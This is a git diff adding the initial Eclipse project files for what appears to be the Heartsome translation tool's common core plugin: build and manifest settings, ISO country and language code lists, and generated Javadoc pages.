diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..95e8c06 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +.DS_Store +bin/ +__pycache__/ diff --git a/.project b/.project new file mode 100644 index 0000000..9852e0a --- /dev/null +++ b/.project @@ -0,0 +1,11 @@ + + + CAT8NEW + + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.core/.classpath b/base_commons/net.heartsome.cat.common.core/.classpath new file mode 100644 index 0000000..7a52814 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/.classpath @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.core/.project b/base_commons/net.heartsome.cat.common.core/.project new file mode 100644 index 0000000..b8dde0a --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.common.core + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/base_commons/net.heartsome.cat.common.core/.settings/org.eclipse.jdt.core.prefs b/base_commons/net.heartsome.cat.common.core/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..4a8c0ad --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Tue Jun 15 10:26:19 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/base_commons/net.heartsome.cat.common.core/META-INF/MANIFEST.MF b/base_commons/net.heartsome.cat.common.core/META-INF/MANIFEST.MF new file mode 100644 index 0000000..eb74648 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/META-INF/MANIFEST.MF @@ -0,0 +1,33 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome Common Core +Bundle-SymbolicName: net.heartsome.cat.common.core +Bundle-Version: 8.0.3.R8b_v20140102 +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Export-Package: net.heartsome.cat.common.bean, + net.heartsome.cat.common.core, + net.heartsome.cat.common.core.exception, + net.heartsome.cat.common.file, + net.heartsome.cat.common.innertag, + net.heartsome.cat.common.innertag.factory, + net.heartsome.cat.common.locale, + net.heartsome.cat.common.operator, + net.heartsome.cat.common.resources, + net.heartsome.cat.common.tm, + net.heartsome.cat.common.util +Bundle-Activator: net.heartsome.cat.common.core.CoreActivator +Require-Bundle: org.eclipse.core.runtime;bundle-version="3.5.0", + net.heartsome.xml;bundle-version="1.0.0", + org.eclipse.core.resources, + org.eclipse.core.filesystem;bundle-version="1.3.100", + org.eclipse.ui;bundle-version="3.7.0" +Import-Package: org.apache.commons.lang.builder, + org.eclipse.ui.part, + org.slf4j +Bundle-Vendor: Heartsome Technologies Ltd. +Bundle-ClassPath: ., + lib/antlr-2.7.4.jar, + lib/chardet-1.0.jar, + lib/cpdetector_1.0.10.jar, + lib/jargs-1.0.jar diff --git a/base_commons/net.heartsome.cat.common.core/build.properties b/base_commons/net.heartsome.cat.common.core/build.properties new file mode 100644 index 0000000..5431dd9 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/build.properties @@ -0,0 +1,11 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + configuration/,\ + lib/antlr-2.7.4.jar,\ + lib/chardet-1.0.jar,\ + lib/cpdetector_1.0.10.jar,\ + lib/jargs-1.0.jar +source.. = src/ diff --git a/base_commons/net.heartsome.cat.common.core/configuration/ISO3166-1.xml b/base_commons/net.heartsome.cat.common.core/configuration/ISO3166-1.xml new file mode 100644 index 0000000..756069b --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/configuration/ISO3166-1.xml @@ -0,0 +1,967 @@ + + + + Afghanistan + AF + + + Åaland Island + AX + + + Albania + AL + + + Algeria + DZ + + + American Samoa + AS + + + Andorra + AD + + + Angola + AO + + + Anguilla + AI + + + Antarctica + AQ + + + Antigua and Barbuda + AG + + + Argentina + AR + + + Armenia + AM + + + Aruba + AW + + + Australia + AU + + + Austria + AT + + + Azerbaijan + AZ + + + Bahamas + BS + + + Bahrain + BH + + + Bangladesh + BD + + + Barbados + BB + + + Belarus + BY + + + Belgium + BE + + + Belize + BZ + + + Benin + BJ + + + Bermuda + BM + + + Bhutan + BT + + + Bolivia + BO + + + Bosnia and Herzegovina + BA + + + Botswana + BW + + + Bouvet Island + BV + + + Brazil + BR + + + British Indian Ocean Territory + IO + + + Brunei Darussalam + BN + + + Bulgaria + BG + + + Burkina Faso + BF + + + Burundi + BI + + + Cambodia + KH + + + Cameroon + CM + + + Canada + CA + + + Cape Verde + CV + + + Cayman Islands + KY + + + Central African Republic + CF + + + Chad + TD + + + Chile + CL + + + China + CN + + + Christmas Island + CX + + + Cocos (Keeling) Islands + CC + + + Colombia + CO + + + Comoros + KM + + + Republic of the Congo + CG + + + Democratic Republic of the Congo + CD + + + Cook Islands + CK + + + Costa Rica + CR + + + Côte d'Ivoire + CI + + + Croatia + HR + + + Cuba + CU + + + Cyprus + CY + + + Czech Republic + CZ + + + Denmark + DK + + + Djibouti + DJ + + + Dominica + DM + + + Dominican Republic + DO + + + Ecuador + EC + + + Egypt + EG + + + El Salvador + SV + + + Equatorial Guinea + GQ + + + Eritrea + ER + + + Estonia + EE + + + Ethiopia + ET + + + Falkland Islands (Malvinas) + FK + + + Faroe Islands + FO + + + Fiji + FJ + + + Finland + FI + + + France + FR + + + French Guiana + GF + + + French Polynesia + PF + + + French Southern Territories + TF + + + Gabon + GA + + + Gambia + GM + + + Georgia + GE + + + Germany + DE + + + Ghana + GH + + + Gibraltar + GI + + + Greece + GR + + + Greenland + GL + + + Grenada + GD + + + Guadeloupe + GP + + + Guam + GU + + + Guatemala + GT + + + Guinea + GN + + + Guinea-Bissau + GW + + + Guyana + GY + + + Haiti + HT + + + Heard Island and Mcdonald Islands + HM + + + Vatican City (The Holy See) + VA + + + Honduras + HN + + + Hong Kong + HK + + + Hungary + HU + + + Iceland + IS + + + India + IN + + + Indonesia + ID + + + Iran + IR + + + Iraq + IQ + + + Ireland + IE + + + Israel + IL + + + Italy + IT + + + Jamaica + JM + + + Japan + JP + + + Jordan + JO + + + Kazakhstan + KZ + + + Kenya + KE + + + Kiribati + KI + + + North Korea + KP + + + South Korea + KR + + + Kuwait + KW + + + Kyrgyzstan + KG + + + Laos + LA + + + Latvia + LV + + + Lebanon + LB + + + Lesotho + LS + + + Liberia + LR + + + Libya + LY + + + Liechtenstein + LI + + + Lithuania + LT + + + Luxembourg + LU + + + Macao + MO + + + Republic of Macedonia (FYROM) + MK + + + Madagascar + MG + + + Malawi + MW + + + Malaysia + MY + + + Maldives + MV + + + Mali + ML + + + Malta + MT + + + Marshall Islands + MH + + + Martinique + MQ + + + Mauritania + MR + + + Mauritius + MU + + + Mayotte + YT + + + Mexico + MX + + + Federated States of Micronesia + FM + + + Moldova + MD + + + Monaco + MC + + + Mongolia + MN + + + Montserrat + MS + + + Morocco + MA + + + Mozambique + MZ + + + Myanmar + MM + + + Namibia + NA + + + Nauru + NR + + + Nepal + NP + + + Netherlands + NL + + + Netherlands Antilles + AN + + + New Caledonia + NC + + + New Zealand + NZ + + + Nicaragua + NI + + + Niger + NE + + + Nigeria + NG + + + niue + NU + + + Norfolk ISLAND + NF + + + Northern Mariana Islands + MP + + + Norway + NO + + + Oman + OM + + + Pakistan + PK + + + Palau + PW + + + Palestinian territories + PS + + + Panama + PA + + + Papua New Guinea + PG + + + Paraguay + PY + + + Peru + PE + + + Philippines + PH + + + Pitcairn + PN + + + Poland + PL + + + Portugal + PT + + + Puerto Rico + PR + + + Qatar + QA + + + Réunion + RE + + + Romania + RO + + + Russian Federation + RU + + + Rwanda + RW + + + St. Helena and Dependencies + SH + + + St. Kitts and Nevis + KN + + + St. Lucia + LC + + + Saint-Pierre and Miquelon + PM + + + St. Vincent and the Grenadines + VC + + + Samoa + WS + + + San Marino + SM + + + Sao Tome and Principe + ST + + + Saudi Arabia + SA + + + Senegal + SN + + + Serbia + RS + + + Montenegro + ME + + + Seychelles + SC + + + Sierra Leone + SL + + + Singapore + SG + + + Slovakia + SK + + + Slovenia + SI + + + Solomon Islands + SB + + + Somalia + SO + + + South Africa + ZA + + + South Georgia and the South Sandwich Islands + GS + + + Spain + ES + + + Sri Lanka + LK + + + Sudan + SD + + + Suriname + SR + + + Svalbard + SJ + + + Swaziland + SZ + + + Sweden + SE + + + Switzerland + CH + + + Syria + SY + + + Taiwan (Republic of China) + TW + + + Tajikistan + TJ + + + Tanzania + TZ + + + Thailand + TH + + + Timor-Leste (East Timor) + TL + + + Togo + TG + + + Tokelau + TK + + + Tonga + TO + + + Trinidad and Tobago + TT + + + Tunisia + TN + + + Turkey + TR + + + Turkmenistan + TM + + + Turks and Caicos Islands + TC + + + Tuvalu + TV + + + Uganda + UG + + + Ukraine + UA + + + United Arab Emirates + AE + + + Great Britain (United Kingdom; England) + GB + + + United States of America (USA) + US + + + United States Minor Outlying Islands + UM + + + Uruguay + UY + + + Uzbekistan + UZ + + + Vanuatu + VU + + + Venezuela + VE + + + Vietnam + VN + + + British Virgin Islands + VG + + + United States Virgin Islands + VI + + + Wallis and Futuna + WF + + + Western Sahara + EH + + + Yemen + YE + + + Zambia + ZM + + + Zimbabwe + ZW + + diff --git a/base_commons/net.heartsome.cat.common.core/configuration/ISO639-1.xml b/base_commons/net.heartsome.cat.common.core/configuration/ISO639-1.xml new file mode 100644 index 0000000..07f6251 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/configuration/ISO639-1.xml @@ -0,0 +1,187 @@ + +Afar +Abkhazian +Avestan +Afrikaans +Akan +Amharic +Aragonese +Arabic +Assamese +Avaric +Aymara +Azerbaijani +Bashkir +Belarusian +Bulgarian +Bihari +Bislama +Bambara +Bengali +Tibetan +Breton +Bosnian +Catalan; Valencian +Chechen +Chamorro +Corsican +Cree +Czech +Church Slavic; Old Bulgarian +Chuvash +Welsh +Danish +German +Divehi +Dzongkha +Ewe +Greek +English +Esperanto +Spanish; Castilian +Estonian +Basque +Persian +Fulah +Finnish +Fijian +Faroese +French +Frisian +Irish +Gaelic; Scottish Gaelic +Galician +Guarani +Gujarati +Manx +Hausa +Hebrew +Hindi +Hiri Motu +Croatian +Haitian; Haitian Creole +Hungarian +Armenian +Herero +Interlingua +Indonesian +Interlingue +Igbo +Sichuan Yi +Inupiaq +Ido +Icelandic +Italian +Inuktitut +Japanese +Javanese +Georgian +Kongo +Kikuyu; Gikuyu +Kuanyama; Kwanyama +Kazakh +Kalaallisut; Greenlandic +Khmer +Kannada +Korean +Kanuri +Kashmiri +Kurdish +Komi +Cornish +Kirghiz +Latin +Luxembourgish; Letzeburgesch +Ganda +Limburgan; Limburger; Limburgish +Lingala +Lao +Lithuanian +Luba-Katanga +Latvian +Malagasy +Marshallese +Maori +Macedonian +Malayalam +Mongolian +Moldavian +Marathi +Malay +Maltese +Burmese +Nauru +Norwegian BokmÃ¥l +Ndebele, North +Nepali +Ndonga +Dutch; Flemish +Norwegian Nynorsk +Norwegian +Ndebele, South +Navajo; Navaho +Chichewa; Chewa; Nyanja +Occitan; Provençal +Ojibwa +Oromo +Oriya +Ossetian; Ossetic +Panjabi; Punjabi +Pali +Polish +Pushto +Portuguese +Quechua +Raeto-Romance +Rundi +Romanian +Russian +Kinyarwanda +Sanskrit +Sardinian +Sindhi +Northern Sami +Sango +Sinhala; Sinhalese +Slovak +Slovenian +Samoan +Shona +Somali +Albanian +Serbian +Swati +Sotho, Southern +Sundanese +Swedish +Swahili +Tamil +Telugu +Tajik +Thai +Tigrinya +Turkmen +Tagalog +Tswana +Tonga +Turkish +Tsonga +Tatar +Twi +Tahitian +Uighur; Uyghur +Ukrainian +Urdu +Uzbek +Venda +Vietnamese +Volapük +Walloon +Wolof +Xhosa +Yiddish +Yoruba +Zhuang; Chuang +Chinese +Zulu + diff --git a/base_commons/net.heartsome.cat.common.core/configuration/ISO639-2.xml b/base_commons/net.heartsome.cat.common.core/configuration/ISO639-2.xml new file mode 100644 index 0000000..0dc7b01 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/configuration/ISO639-2.xml @@ -0,0 +1,494 @@ + +Abkhazian +Achinese +Acoli +Adangme +Adygei; Adyghe +Afar +Afrihili +Afrikaans +Afro-Asiatic (Other) +Ainu +Akan +Akkadian +Albanian +Albanian +Aleut +Algonquian languages +Altaic (Other) +Amharic +Apache languages +Arabic +Aragonese +Aramaic +Arapaho +Araucanian +Arawak +Armenian +Armenian +Artificial (Other) +Assamese +Asturian; Bable +Athapascan languages +Australian languages +Austronesian (Other) +Avaric +Avestan +Awadhi +Aymara +Azerbaijani +Balinese +Baltic (Other) +Baluchi +Bambara +Bamileke languages +Banda +Bantu (Other) +Basa +Bashkir +Basque +Basque +Batak (Indonesia) +Beja +Belarusian +Bemba +Bengali +Berber (Other) +Bhojpuri +Bihari +Bikol +Bilin; Blin +Bini +Bislama +BokmÃ¥l, Norwegian; Norwegian BokmÃ¥l +Bosnian +Braj +Breton +Buginese +Bulgarian +Buriat +Burmese +Burmese +Caddo +Carib +Castilian; Spanish +Catalan; Valencian +Caucasian (Other) +Cebuano +Celtic (Other) +Central American Indian (Other) +Chagatai +Chamic languages +Chamorro +Chechen +Cherokee +Chewa; Chichewa; Nyanja +Cheyenne +Chibcha +Chinese +Chinese +Chinook jargon +Chipewyan +Choctaw +Chuang; Zhuang +Church Slavic; Slavonic; Church Slavonic; Old Bulgarian; Old Church Slavonic +Chuukese +Chuvash +Classical Nepal Bhasa; Classical Newari; Old Newari +Coptic +Cornish +Corsican +Cree +Creek +Creoles and pidgins (Other) +Creoles and pidgins, English-based (Other) +Creoles and pidgins, French-based (Other) +Creoles and pidgins, Portuguese-based (Other) +Crimean Tatar; Crimean Turkish +Croatian +Croatian +Cushitic (Other) +Czech +Czech +Dakota +Danish +Dargwa +Dayak +Delaware +Dinka +Divehi +Dogri +Dogrib +Dravidian (Other) +Duala +Dutch; Flemish +Dutch; Flemish +Dutch, Middle (ca. 1050-1350) +Dyula +Dzongkha +Efik +Egyptian (Ancient) +Ekajuk +Elamite +English +English, Middle (1100-1500) +English, Old (ca.450-1100) +Erzya +Esperanto +Estonian +Ewe +Ewondo +Fang +Fanti +Faroese +Fijian +Filipino; Pilipino +Finnish +Finno-Ugrian (Other) +Fon +French +French +French, Middle (ca.1400-1600) +French, Old (842-ca.1400) +Frisian +Friulian +Fulah +Ga +Gaelic; Scottish Gaelic +Galician +Ganda +Gayo +Gbaya +Geez +Georgian +Georgian +German +German +German, Low; Saxon, Low; Low German; Low Saxon +German, Middle High (ca.1050-1500) +German, Old High (ca.750-1050) +Germanic (Other) +Gikuyu; Kikuyu +Gilbertese +Gondi +Gorontalo +Gothic +Grebo +Greek, Ancient (to 1453) +Greek, Modern (1453-) +Greek, Modern (1453-) +Greenlandic; Kalaallisut +Guarani +Gujarati +Gwich´in +Haida +Haitian; Haitian Creole +Hausa +Hawaiian +Hebrew +Herero +Hiligaynon +Himachali +Hindi +Hiri Motu +Hittite +Hmong +Hungarian +Hupa +Iban +Icelandic +Icelandic +Ido +Igbo +Ijo +Iloko +Inari Sami +Indic (Other) +Indo-European (Other) +Indonesian +Ingush +Interlingua +Interlingue +Inuktitut +Inupiaq +Iranian (Other) +Irish +Irish, Middle (900-1200) +Irish, Old (to 900) +Iroquoian languages +Italian +Japanese +Javanese +Judeo-Arabic +Judeo-Persian +Kabardian +Kabyle +Kachin +Kalmyk +Kamba +Kannada +Kanuri +Karachay-Balkar +Kara-Kalpak +Karen +Kashmiri +Kashubian +Kawi +Kazakh +Khasi +Khmer +Khoisan (Other) +Khotanese +Kimbundu +Kinyarwanda +Kirghiz +Klingon; tlhIngan-Hol +Komi +Kongo +Konkani +Korean +Kosraean +Kpelle +Kru +Kuanyama; Kwanyama +Kumyk +Kurdish +Kurukh +Kutenai +Ladino +Lahnda +Lamba +Lao +Latin +Latvian +Letzeburgesch; Luxembourgish +Lezghian +Limburgan; Limburger; Limburgish +Lingala +Lithuanian +Lojban +Lower Sorbian +Lozi +Luba-Katanga +Luba-Lulua +Luiseno +Lule Sami +Lunda +Luo (Kenya and Tanzania) +Lushai +Macedonian +Macedonian +Madurese +Magahi +Maithili +Makasar +Malagasy +Malay +Malay +Malayalam +Maltese +Manchu +Mandar +Mandingo +Manipuri +Manobo languages +Manx +Maori +Maori +Marathi +Mari +Marshallese +Marwari +Masai +Mayan languages +Mende +Micmac; Mi'kmaq +Minangkabau +Mirandese +Miscellaneous languages +Mohawk +Moksha +Moldavian +Mon-Khmer (Other) +Mongo +Mongolian +Mossi +Multiple languages +Munda languages +Nahuatl +Nauru +Navaho, Navajo +Ndebele, North +Ndebele, South +Ndonga +Neapolitan +Nepal Bhasa; Newari +Nepali +Nias +Niger-Kordofanian (Other) +Nilo-Saharan (Other) +Niuean +Nogai +Norse, Old +North American Indian (Other) +Northern Sami +Northern Sotho; Pedi; Sepedi +Norwegian +Norwegian Nynorsk; Nynorsk, Norwegian +Nubian languages +Nyamwezi +Nyankole +Nyoro +Nzima +Occitan (post 1500); Provençal +Ojibwa +Oriya +Oromo +Osage +Ossetian; Ossetic +Otomian languages +Pahlavi +Palauan +Pali +Pampanga +Pangasinan +Panjabi; Punjabi +Papiamento +Papuan (Other) +Persian +Persian +Persian, Old (ca.600-400 B.C.) +Philippine (Other) +Phoenician +Pohnpeian +Polish +Portuguese +Prakrit languages +Provençal, Old (to 1500) +Pushto +Quechua +Raeto-Romance +Rajasthani +Rapanui +Rarotongan +Romance (Other) +Romanian +Romanian +Romany +Rundi +Russian +Salishan languages +Samaritan Aramaic +Sami languages (Other) +Samoan +Sandawe +Sango +Sanskrit +Santali +Sardinian +Sasak +Scots +Selkup +Semitic (Other) +Serbian +Serer +Shan +Shona +Sichuan Yi +Sicilian +Sidamo +Sign languages +Siksika +Sindhi +Sinhala; Sinhalese +Sino-Tibetan (Other) +Siouan languages +Skolt Sami +Slave (Athapascan) +Slavic (Other) +Slovak +Slovenian +Sogdian +Somali +Songhai +Soninke +Sorbian languages +Sotho, Southern +South American Indian (Other) +Southern Altai +Southern Sami +Sukuma +Sumerian +Sundanese +Susu +Swahili +Swati +Swedish +Syriac +Tagalog +Tahitian +Tai (Other) +Tajik +Tamashek +Tamil +Tatar +Telugu +Tereno +Tetum +Thai +Tibetan +Tigre +Tigrinya +Timne +Tiv +Tlingit +Tok Pisin +Tokelau +Tonga (Nyasa) +Tonga (Tonga Islands) +Tsimshian +Tsonga +Tswana +Tumbuka +Tupi languages +Turkish +Turkish, Ottoman (1500-1928) +Turkmen +Tuvalu +Tuvinian +Twi +Udmurt +Ugaritic +Uighur; Uyghur +Ukrainian +Umbundu +Undetermined +Upper Sorbian +Urdu +Uzbek +Vai +Venda +Vietnamese +Volapük +Votic +Wakashan languages +Walamo +Walloon +Waray +Washo +Welsh +Welsh +Wolof +Xhosa +Yakut +Yao +Yapese +Yiddish +Yoruba +Yupik languages +Zande +Zapotec +Zenaga +Zulu +Zuni + diff --git a/base_commons/net.heartsome.cat.common.core/configuration/langCodes.xml b/base_commons/net.heartsome.cat.common.core/configuration/langCodes.xml new file mode 100644 index 0000000..5cbcc15 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/configuration/langCodes.xml @@ -0,0 +1,259 @@ + + + Afar + Abkhazian + Avestan + Afrikaans + Afrikaans (South Africa) + Akan + Amharic + Aragonese + Arabic + Arabic (U.A.E.) + Arabic (Bahrain) + Arabic (Algeria) + Arabic (Egypt) + Arabic (Iraq) + Arabic (Jordan) + Arabic (Kuwait) + Arabic (Lebanon) + Arabic (Libya) + Arabic (Morocco) + Arabic (Oman) + Arabic (Qatar) + Arabic (Saudi Arabia) + Arabic (Syria) + Arabic (Tunisia) + Arabic (Yemen) + Assamese + + Aymara + Azerbaijani + Bashkir + Belarusian + Bulgarian + Bihari + Bislama + Bambara + Bengali + Tibetan + Breton + Bosnian + Catalan + Chechen + Chamorro + Corsican + Cree + Czech + Czech (Czech Republic) + Church Slavic; Old Bulgarian + Chuvash + Welsh + Danish + German + German (Austrian) + German (Swiss) + German (Germany) + German (Liechtenstein) + German (Luxembourg) + Divehi + Dzongkha + Ewe + Greek + English + English (Australian) + English (Belize) + English (Canadian) + English (Caribbean) + English (British) + English (Ireland) + English (Jamaica) + English (New Zealand) + English (Trinidad) + English (United States) + English (South Africa) + Esperanto + Spanish + Spanish (Argentina) + Spanish (Bolivia) + Spanish (Chile) + Spanish (Colombia) + Spanish (Costa Rica) + Spanish (Dominican Republic) + Spanish (Ecuador) + Spanish (Spain) + Spanish (Guatemala) + Spanish (Honduras) + Spanish (Mexican) + Spanish (Nicaragua) + Spanish (Panama) + Spanish (Peru) + Spanish (Puerto Rico) + Spanish (Paraguay) + Spanish (El Salvador) + Spanish (Uruguay) + Spanish (Venezuela) + Estonian + Basque + Farsi + Fulah + Finnish + Fijian + Faeroese + French + French (Belgium) + French (Canadian) + French (Swiss) + French (France) + French (Luxembourg) + Frisian + Irish + Gaelic; Scottish Gaelic + Galician + Guarani + Gujarati + Manx + Hausa + Hebrew + Hebrew (Israel) + Hindi + Hiri Motu + Croatian + Haitian; Haitian Creole + Hungarian + Armenian + Herero + Interlingua + Indonesian + Interlingue + Igbo + Sichuan Yi + Inupiaq + Indonesian + Ido + Icelandic + Italian + Italian (Swiss) + Italian (Italy) + Inuktitut + Japanese + Javanese + Georgian + Kongo + Kikuyu; Gikuyu + Kuanyama; Kwanyama + Kazakh + Kalaallisut; Greenlandic + Khmer + Kannada + Korean + Korean (Johab) + Kanuri + Kashmiri + Kurdish + Komi + Cornish + Kirghiz + Latin + Luxembourgish; Letzeburgesch + Ganda + Limburgan; Limburger; Limburgish + Lingala + Lao + Lithuanian + Luba-Katanga + Latvian + Malagasy + Marshallese + Maori + Macedonian + Malayalam + Mongolian + Moldavian + Marathi + Malay + Maltese + Burmese + Nauru + Norwegian BokmÃ¥l + Ndebele, North + Nepali + Ndonga + Dutch + Dutch (Belgium) + Norwegian Nynorsk + Norwegian + Ndebele, South + Navajo; Navaho + Chichewa; Chewa; Nyanja + Occitan; Provençal + Ojibwa + Oromo + Oriya + Ossetian; Ossetic + Panjabi; Punjabi + Pali + Polish + Pushto + Portuguese + Portuguese (Brazilian) + Quechua + Raeto-Romance + Rundi + Romanian + Russian + Russian (Russia) + Kinyarwanda + Sanskrit + Sardinian + Sindhi + Northern Sami + Sango + Sinhala; Sinhalese + Slovak + Slovenian + Samoan + Shona + Somali + Albanian + Serbian + Swati + Sotho, Southern + Sundanese + Swedish + Swedish (Finland) + Swahili + Tamil + Telugu + Tajik + Thai + Tigrinya + Turkmen + Tagalog + Tswana + Tonga + Turkish + Tsonga + Tatar + Twi + Tahitian + Uighur; Uyghur + Ukrainian + Urdu + Uzbek + Venda + Vietnamese + Volapük + Walloon + Wolof + Xhosa + Yiddish + Yoruba + Zhuang; Chuang + Chinese + Chinese (People's Republic) + Chinese (Hong Kong) + Chinese (Singapore) + Chinese (Taiwan) + Zulu + \ No newline at end of file diff --git a/base_commons/net.heartsome.cat.common.core/doc/allclasses-frame.html b/base_commons/net.heartsome.cat.common.core/doc/allclasses-frame.html new file mode 100644 index 0000000..8cced50 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/allclasses-frame.html @@ -0,0 +1,31 @@ + + + + + + +All Classes + + + + + + + + + + + +All Classes +
+ + + + + +
AbstractFileHandler +
+
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/allclasses-noframe.html b/base_commons/net.heartsome.cat.common.core/doc/allclasses-noframe.html new file mode 100644 index 0000000..4958c4d --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/allclasses-noframe.html @@ -0,0 +1,31 @@ + + + + + + +All Classes + + + + + + + + + + + +All Classes +
+ + + + + +
AbstractFileHandler +
+
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/constant-values.html b/base_commons/net.heartsome.cat.common.core/doc/constant-values.html new file mode 100644 index 0000000..79b0f08 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/constant-values.html @@ -0,0 +1,144 @@ + + + + + + +Constant Field Values + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +
+
+

+Constant Field Values

+
+
+Contents + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/deprecated-list.html b/base_commons/net.heartsome.cat.common.core/doc/deprecated-list.html new file mode 100644 index 0000000..6e59da0 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/deprecated-list.html @@ -0,0 +1,144 @@ + + + + + + +Deprecated List + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +
+
+

+Deprecated API

+
+
+Contents + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/help-doc.html b/base_commons/net.heartsome.cat.common.core/doc/help-doc.html new file mode 100644 index 0000000..6c4b74d --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/help-doc.html @@ -0,0 +1,215 @@ + + + + + + +API Help + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +
+
+

+How This API Document Is Organized

+
+This API (Application Programming Interface) document has pages corresponding to the items in the navigation bar, described as follows.

+Package

+
+ +

+Each package has a page that contains a list of its classes and interfaces, with a summary for each. This page can contain four categories:

+
+

+Class/Interface

+
+ +

+Each class, interface, nested class and nested interface has its own separate page. Each of these pages has three sections consisting of a class/interface description, summary tables, and detailed member descriptions:

+Each summary entry contains the first sentence from the detailed description for that item. The summary entries are alphabetical, while the detailed descriptions are in the order they appear in the source code. This preserves the logical groupings established by the programmer.
+ +

+Annotation Type

+
+ +

+Each annotation type has its own separate page with the following sections:

+
+ +

+Enum

+
+ +

+Each enum has its own separate page with the following sections:

+
+

+Use

+
+Each documented package, class and interface has its own Use page. This page describes what packages, classes, methods, constructors and fields use any part of the given class or package. Given a class or interface A, its Use page includes subclasses of A, fields declared as A, methods that return A, and methods and constructors with parameters of type A. You can access this page by first going to the package, class or interface, then clicking on the "Use" link in the navigation bar.
+

+Tree (Class Hierarchy)

+
+There is a Class Hierarchy page for all packages, plus a hierarchy for each package. Each hierarchy page contains a list of classes and a list of interfaces. The classes are organized by inheritance structure starting with java.lang.Object. The interfaces do not inherit from java.lang.Object. +
+

+Deprecated API

+
+The Deprecated API page lists all of the API that have been deprecated. A deprecated API is not recommended for use, generally due to improvements, and a replacement API is usually given. Deprecated APIs may be removed in future implementations.
+

+Index

+
+The Index contains an alphabetic list of all classes, interfaces, constructors, methods, and fields.
+

+Prev/Next

+These links take you to the next or previous class, interface, package, or related page.

+Frames/No Frames

+These links show and hide the HTML frames. All pages are available with or without frames. +

+

+Serialized Form

+Each serializable or externalizable class has a description of its serialization fields and methods. This information is of interest to re-implementors, not to developers using the API. While there is no link in the navigation bar, you can get to this information by going to any serialized class and clicking "Serialized Form" in the "See also" section of the class description. +

+

+Constant Field Values

+The Constant Field Values page lists the static final fields and their values. +

+ + +This help file applies to API documentation generated using the standard doclet. + +
+


+ + + + + + + + + + + + + + + +
+ +
+ + + +
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/index-files/index-1.html b/base_commons/net.heartsome.cat.common.core/doc/index-files/index-1.html new file mode 100644 index 0000000..983f58c --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/index-files/index-1.html @@ -0,0 +1,143 @@ + + + + + + +A-Index + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +A C N
+

+A

+
+
AbstractFileHandler - Class in net.heartsome.cat.common.file
一个抽象的文件处ç†ç±»ã€‚实现了文件处ç†æŽ¥å£ä¸­çš„创建文件历å²è®¿é—®åˆ—表方法。
AbstractFileHandler() - +Constructor for class net.heartsome.cat.common.file.AbstractFileHandler +
  +
+
+ + + + + + + + + + + + + + + +
+ +
+ + + +A C N
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/index-files/index-2.html b/base_commons/net.heartsome.cat.common.core/doc/index-files/index-2.html new file mode 100644 index 0000000..b6f2651 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/index-files/index-2.html @@ -0,0 +1,143 @@ + + + + + + +C-Index + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +A C N
+

+C

+
+
createFileHistory(int, int) - +Method in class net.heartsome.cat.common.file.AbstractFileHandler +
  +
+
+ + + + + + + + + + + + + + + +
+ +
+ + + +A C N
+ + + diff --git a/base_commons/net.heartsome.cat.common.core/doc/index-files/index-3.html b/base_commons/net.heartsome.cat.common.core/doc/index-files/index-3.html new file mode 100644 index 0000000..f61d222 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/doc/index-files/index-3.html @@ -0,0 +1,140 @@ + + + + + + +N-Index + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + +
+ +
+ + + +A C N
+

+N

+
+
net.heartsome.cat.common.file - package net.heartsome.cat.common.file
 
+
+ + + + + + + + + + + + + + + +
+ +
+ + + +A C N
